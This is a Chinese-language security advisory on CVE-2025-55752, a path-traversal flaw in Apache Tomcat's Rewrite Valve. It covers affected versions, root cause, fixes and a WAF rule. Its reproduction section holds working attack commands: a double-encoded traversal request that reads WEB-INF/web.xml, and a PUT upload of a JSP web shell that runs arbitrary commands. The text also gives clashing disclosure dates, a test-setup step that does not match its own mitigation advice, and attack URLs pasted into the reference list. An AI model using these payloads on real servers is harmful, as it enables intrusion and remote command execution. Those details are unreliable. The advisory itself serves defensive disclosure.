一、漏洞简介

1.1 漏洞背景

Apache Tomcat 的 Rewrite Valve 是一个 URL 重写组件,类似于 Apache HTTP Server 的 mod_rewrite,用于在请求处理之前对 URL 进行重写。该功能常用于 SEO 优化、URL 美化或旧版 URL 重定向等场景。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2025-55752
危害等级 HIGH / 7.5
漏洞类型 Rewrite Valve 目录遍历漏洞
披露时间 2025-10-27
影响组件 Apache Tomcat 历史
  • CVE 编号:CVE-2025-55752
  • 危害等级:Important(重要)
  • 披露时间:2025年9月
  • 漏洞类型:目录遍历 + 可能的远程代码执行

补充核验信息:公开时间:2025-10-27;NVD 评分:7.5(HIGH);CWE:CWE-23。

二、影响范围

2.1 受影响的版本

版本系列 受影响范围
Tomcat 9.x 9.0.0.M11 ~ 9.0.108
Tomcat 10.x 10.1.0-M1 ~ 10.1.44
Tomcat 11.x 11.0.0-M1 ~ 11.0.0

2.2 不受影响的版本

版本系列 修复版本
Tomcat 9.x ≥ 9.0.109
Tomcat 10.x ≥ 10.1.45
Tomcat 11.x ≥ 11.0.1

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 启用了 Rewrite Valve 组件
  2. 配置了将查询参数重写到 URL 的重写规则
  3. 远程代码执行需额外满足:Default Servlet 的写入功能已启用(readonly=false

三、漏洞详情与原理解析

3.1 漏洞触发机制

该漏洞源于 Bug 60013 的修复引入的回归问题。在修复过程中,重写后的 URL 在解码之前就被规范化(normalized)处理。

正常情况下,URL 处理流程应为: 1. 接收请求 URL 2. URL 解码 3. 规范化处理(移除 ../ 等) 4. 安全检查(防止访问 /WEB-INF//META-INF/

但漏洞版本的流程为: 1. 接收请求 URL 2. Rewrite Valve 重写 3. 先规范化再解码(问题所在) 4. 安全检查被绕过

攻击者可以利用编码后的路径穿越字符(如 %2e%2e%2f)在规范化阶段不被识别,解码后形成真正的路径穿越。

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞代码位置org.apache.catalina.valves.rewrite.RewriteValve

// 有漏洞的处理逻辑(伪代码)
public void invoke(Request request, Response response) {
    // 重写 URL
    String rewrittenUrl = rewrite(request);

    // 问题:在解码之前进行规范化
    String normalized = normalize(rewrittenUrl);  // 此时不识别编码字符

    // 然后才解码
    String decoded = decode(normalized);  // 解码后形成路径穿越

    // 安全检查已被绕过
    processRequest(decoded);
}

修复后的代码

// 正确的处理顺序
String rewrittenUrl = rewrite(request);
String decoded = decode(rewrittenUrl);      // 先解码
String normalized = normalize(decoded);     // 再规范化
processRequest(normalized);

四、漏洞复现(可选)

4.1 环境搭建

# 使用 Docker 搭建测试环境
docker run -d --name tomcat-vuln \
    -p 8080:8080 \
    -e CATALINA_OPTS="-Dreadonly=false" \
    tomcat:9.0.108-jdk11

# 配置 Rewrite Valve
# 在 conf/server.xml 的 Host 元素中添加:
# <Valve className="org.apache.catalina.valves.rewrite.RewriteValve" />

# 创建重写规则 conf/Catalina/localhost/rewrite.config
# RewriteRule ^/old/(.*)$ /new?param=$1 [L]

4.2 PoC 演示与测试过程

目录遍历读取敏感文件

# 构造恶意请求绕过 WEB-INF 保护
curl -v "http://target:8080/old/..%252f..%252fWEB-INF/web.xml"

远程代码执行(需 PUT 启用)

# 上传恶意 JSP 文件
curl -X PUT "http://target:8080/old/..%252f..%252fshell.jsp" \
    -d "<% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>"

# 执行命令
curl "http://target:8080/shell.jsp?cmd=id"

五、修复建议与缓解措施

5.1 官方版本升级建议

当前版本 升级目标
Tomcat 9.0.x < 9.0.109 升级至 9.0.109 或更高版本
Tomcat 10.1.x < 10.1.45 升级至 10.1.45 或更高版本
Tomcat 11.0.x < 11.0.1 升级至 11.0.1 或更高版本

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

  1. 禁用 Rewrite Valve(如非必需):
<!-- 注释或删除 server.xml 中的 Rewrite Valve 配置 -->
<!-- <Valve className="org.apache.catalina.valves.rewrite.RewriteValve" /> -->
  1. 确保 Default Servlet 写入功能禁用
<!-- conf/web.xml -->
<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>true</param-value>  <!-- 确保为 true -->
    </init-param>
</servlet>
  1. 使用 WAF 规则拦截
# 拦截包含双重 URL 编码的路径穿越尝试
SecRule REQUEST_URI "@contains %252e%252e" "deny,status:403"

六、参考信息 / 参考链接

6.1 官方安全通告

  • https://lists.apache.org/thread/n05kjcwyj1s45ovs8ll1qrrojhfb1tog
  • https://tomcat.apache.org/security-9.html
  • https://github.com/apache/tomcat/commit/b5042622

6.2 其他技术参考资料

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2025-55752
  • CVE:https://www.cve.org/CVERecord?id=CVE-2025-55752
  • http://www.openwall.com/lists/oss-security/2025/10/27/4
  • https://www.vicarius.io/vsociety/posts/cve-2025-55752-mitigate-apache-tomcat-vulnerability
  • https://www.vicarius.io/vsociety/posts/cve-2025-55752-detect-apache-tomcat-vulnerability
  • http://target:8080/old/..%252f..%252fWEB-INF/web.xml"
  • http://target:8080/old/..%252f..%252fshell.jsp"
  • http://target:8080/shell.jsp?cmd=id"